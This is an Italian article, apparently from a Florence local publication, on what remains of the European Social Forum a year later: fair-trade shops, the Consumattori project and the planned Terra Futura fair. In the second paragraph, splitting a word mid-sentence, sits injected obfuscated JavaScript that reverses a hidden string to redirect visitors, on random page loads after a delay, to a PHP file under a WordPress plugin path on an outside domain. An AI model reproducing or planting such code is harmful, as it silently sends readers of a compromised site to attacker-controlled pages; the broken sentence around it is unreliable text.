E qualcosa rimane…

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“La Fortezza brulicante di gente, colori, striscioni, odori gastronomici, con una sterminata serie di materiali e documenti informativi, evoca l’immagine di una Torre di Babele”. Questo è quello che scrivevamo lo scorso autunno durante il Forum Sociale Europeo. I macro temi affrontati allora erano “la Guerra e la Pace”, “l’Europa e la sua Costituzione”, “Lavoro e Diritti Sociali”, “Democrazia e partecipazione”, e ancora Privatizzazione, Ambiente…
È passato un anno, da allora, e ci dom (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andiamo: cosa è rimasto qui da noi di quell’evento? Come ha influito nelle politiche sociali delle amministrazioni locali e nella vita di tutti i giorni di associazioni, movimenti e singoli cittadini?

Forse l’aspetto più facilmente percepibile è quanto il Consumo Critico sia entrato nella vita quotidiana: a Firenze si è aperta una nuova bottega del commercio equo e solidale il cui nome, “Borgo Alegre”, ricorda la città brasiliana di Porto Alegre che ha ospitato i primi tre Forum Sociali Mondiali. La bottega è in Borgo S. Frediano 117r.
È nato il progetto, che si sta trasformando in associazione vera e propria, dei “Consumattori”: un corso per formare dei promotori del consumo critico e responsabile.

Nei supermercati è sempre più comune trovare prodotti del commercio equo come il caffè o il cacao sui banconi accanto alle marche “comuni” e nei giornali è facile imbattersi in interviste e articoli sul commercio equo, sui boicottaggi, su esperienze come il Fondo Etico e Sociale della Comunità delle Piagge.
“Abbiamo fatto un salto di qualità in quest’anno appena trascorso, in generale la gente sa cosa si intende quando si parla di commercio equo” spiega Gregorio Malavolti, responsabile delle questioni internazionali per l’Arci di Firenze. “Anche il linguaggio è cambiato: non ci si riferisce più al Movimento come prima del Forum, quando ci paragonavano ai Black Block. I “No Global” non vengono più visti come un soggetto estraneo indefinito, ma come un movimento attivo avente un forte rapporto con quello che c’era già sul territorio, con le associazioni già preesistenti. E quindi c’è molta meno incertezza e dubbio sul loro modo di agire”.

Ma sono molti altri gli eventi realizzati quest’anno, come il Forum Mondiale Alternativo dell’Acqua, svoltosi poco meno di un anno fa, o “Equofesta” la prima Fiera del Commercio Equo e Solidale in Toscana di settembre.
Un altro importante progetto che ha le sue radici al Forum Europeo è “Terra Futura”, che si terrà in aprile 2004 alla Fortezza da Basso: promosso da Banca Etica in collaborazione con la Regione Toscana, il progetto sarà una grande fiera-incontro, dove per la prima volta verranno presentate e promosse, in un’unica sede, tutte le iniziative che già sperimentano ed utilizzano modelli di consumo, di produzione, di finanza e di commercio sostenibili: idee virtuose che, se adottate e diffuse, contribuirebbero a garantire la salvaguardia dell’ambiente e dei diritti delle persone. Terra Futura sarà una prima, concreta occasione di incontro e di dialogo tra tutti quei settori della società (industria, piccola impresa, società civile, istituzioni, università…) che spesso invece vediamo contrapposti, purtroppo per motivi ideologici, su temi importanti per il futuro del nostro pianeta.

Maggiori info
Consumattori: www.consumattori.org
Terra Futura: www.terrafutura.it
Forum dell’acqua: http://www.cipsi.it/contrattoacqua/home/
Portale Regionale del Commercio Equo e Solidale: www.equotoscana.org

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